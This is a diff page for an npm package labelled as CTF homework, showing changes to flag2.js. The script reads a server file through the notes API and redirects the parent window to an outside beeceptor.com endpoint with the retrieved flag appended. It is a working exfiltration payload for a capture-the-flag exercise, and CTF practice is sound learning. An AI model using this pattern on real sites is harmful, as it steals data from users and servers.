note_unpkg 1.0.8 → 1.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/flag2.js +4 -4
  2. package/package.json +1 -1
package/flag2.js CHANGED
@@ -4,15 +4,15 @@ async function go() {
4
4
  //window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
5
5
 
6
6
  const id = "/app/Dockerfile"
7
- let flag = await fetch("/api/notes?id=" + id)
8
- .then(res => window.parent.location = "https://o4o55555.free.beeceptor.com?q=success")
9
- .catch(err => window.parent.location = "https://o4o55555.free.beeceptor.com?q=fail")
7
+ let flag = await fetch("/api/notes?id=" + id).then(res => res.json()).then(res => res.title);
8
+ //.then(res => window.parent.location = "https://o4o55555.free.beeceptor.com?q=success")
9
+ //.catch(err => window.parent.location = "https://o4o55555.free.beeceptor.com?q=fail")
10
10
  // let flag = await fetch("/api/notes?id=" + id).then(res => res.text())
11
11
 
12
12
  // sleep for a while so I have time to press "report"
13
13
  await new Promise(r => setTimeout(r, 2000));
14
14
 
15
- window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag.slice(1,10);
15
+ window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag
16
16
  };
17
17
  go();
18
18
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note_unpkg",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "for edu-ctf homework",
5
5
  "main": "index.js",
6
6
  "scripts": {